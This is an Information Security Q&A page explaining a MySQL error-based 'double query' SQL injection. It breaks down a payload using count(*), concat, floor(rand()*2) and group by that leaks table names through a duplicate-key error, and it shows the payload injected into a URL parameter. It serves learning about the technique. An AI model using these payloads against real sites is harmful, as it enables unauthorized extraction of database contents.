INFORMATION SECURITY

Double Query injection

Asked 6 years, 11 months ago Modified 2 years, 6 months ago Viewed 3k times

4

I'm trying to learn about "Double Query Injections", but in the tutorials they write following the command but without any explanation:

```
(select * from (select count(*), concat(0x3a,0x3a,(select table_name from
information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a,
floor(rand()*2)) a from information_schema.columns group by a)b)
```

I would like to know why `group by a` is used

What are `floor(rand()*2)` and `select count(*)` used for?

sql-injection mysql

Share Improve this question Follow

edited Oct 31, 2015 at 8:06
Jud
103 5

asked Oct 30, 2015 at 20:50
user3771906
63 2 8

2 Can you add links to these tutorials? – Neil Smithline Oct 31, 2015 at 4:42

1 Answer

Sorted by: Highest score (default)

6

This link is a great reference. Let's break this monster query down.

Building blocks

First of all, be sure you are familiarized with the SQL functions and statements used in the attack:

CONCAT() 1

Concatenate several expressions together:

```
MariaDB [(none)]> SELECT CONCAT("SQL ", "injection ", "is ", "cool");
+-------------------------------------------+
```

```
| CONCAT("SQL ", "injection ", "is ", "cool") |
+---------------------------------------------+
| SQL injection is cool                       |
+---------------------------------------------+
```

FLOOR() [2]

Return the largest integer value that is less than or equal to a number:

```
MariaDB [(none)]> SELECT FLOOR(25.75);
+--------------+
| FLOOR(25.75) |
+--------------+
|           25 |
+--------------+
```

RAND() [3]

Return a random decimal number (no seed value - so it returns a completely random number >= 0 and <1):

```
MariaDB [(none)]>  SELECT RAND();
+--------------------+
| RAND()             |
+--------------------+
| 0.7757022090029924 |
+--------------------+
```

COUNT()

The COUNT() function returns the number of rows that matches a specified criteria. Note that `COUNT(*)` is the same as `COUNT(1)` (check here for more information). It is used this way in order to assure NULL results will not be excluded from the counting.

LIMIT

Select a row and the next rows until a number.

```
SELECT * FROM tbl LIMIT 5,10
```

This query returns lines from 6 to 16.

GROUP BY [4]

Often used with aggregate functions (COUNT, MAX, MIN, SUM, AVG) to group the result-set by one or more columns.

```
SELECT COUNT(CustomerID), Country FROM Customers GROUP BY Country;
```

This query lists the number of customers in each country.

0x3a

Just the hex code for `:`. Check your favorite ASCII table for more information.

Now, putting things together.

floor(rand()*2)

TL;DR: The goal of this block is to generate 0 or 1 randomly.

`rand()` generates a random number between 0 and 1 while `floor()` takes the closest lower integer. Think about `floor(rand())` for a moment. It's output is always 0. This is why you multiply `rand()` by 2. Now the `floor(rand()*2)` function will take an integer in the interval [0,2), therefore 1 or 0.

Breaking it down

Since there are lots of subtrings here, let's move inside out.

```
select table_name from information_schema.tables where table_schema='sqli_test' limit
1,1

MariaDB [sqli_test]> select table_name from information_schema.tables where
table_schema='sqli_test' limit 1,1;
+------------+
| table_name |
+------------+
| myTable    |
+------------+
```

Simple selection of the **name of the second table** returned from the `sqli_test` database. Let's call this result `@RESULT1`. You could actually store it in a variable.

```
concat(0x3a,0x3a,@RESULT1,0x3a,0x3a, floor(rand()*2))
```

Concatenation of strings. Returns `::<TABLE_NAME>::[0-1]`. For example `::mytable::0` or `::mytable::1`. Name it `@RESULT2`.

For the next step, note that `select * from information_schema.columns;` returns all the columns in all the tables. Therefore, if we run `select @RESULT2 a from information_schema.columns;`, we will receive something like:

```
+--------------+
| a            |
+--------------+
| ::myTable::0 |
| ::myTable::0 |
```

```
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::1 |


| ::myTable::0 |
+--------------+
```

Therefore, let's group by @RESULT2 (the modified names of the tables) and name it @RESULT3:

```
select count(*), @RESULT2 a from information_schema.columns group by a

MariaDB [sqli_test]> select count(*), concat(0x3a,0x3a,(select table_name from
information_schema.tables where table_schema='sqli_test' limit 1,1),0x3a,0x3a,
floor(rand()*2)) a from information_schema.columns group by a;
+----------+--------------+
| count(*) | a            |
+----------+--------------+
|      887 | ::myTable::0 |
|      962 | ::myTable::1 |
+----------+--------------+
```

It returns the **total number of columns groupped by tables** which names were generated in `@RESULT2`. Note that `a` is just an alias for `@RESULT2`. Also, since the appended `0`s and `1`s are randomly generated, the numbers in this table should change every time you run the query.

After running it a few times, it will crash

```
ERROR 1062 (23000): Duplicate entry '::myTable::0' for key 'group_key'
```

Due to the inserted randomness, sooner or later items in `a` column will have the same name, generating an error. Note that the error leaks `myTable`. BAM! Juicy info!

What is that all about anyhow?!

You could run this query in a page vulnerable to **SQL Injection**, like this:

```
http://myvictim.com/?id=1' AND (select count(*), @RESULT2 a from
information_schema.columns group by a)
```

This would force the leak of the table name. You could obviously change the query to leak other info.

Just for the sake of completeness this would trigger an error like:

```
Operands should contain 1 column(s)
```

Note that in fact our `SELECT...` query returns 2 columns, making it impossible to `AND` with

another query. We could solve it with:

```
select 1 from(@RESULT3)b
```

Note that we must put `b` as the alias, otherwise:

```
Every derived table must have its own alias.
```

This is an awesome and clever way to leak information!

Share Improve this answer Follow

edited Mar 9, 2020 at 13:56

Spiegelritter
103 2

answered Oct 11, 2017 at 17:38

Marcos Valle
162 1 4 12

After running it a few times, it will crash [...] Due to the inserted randomness, sooner or later items in a column will have the same name, generating an error can anyone explain why? – kuma Dec 10, 2020 at 0:19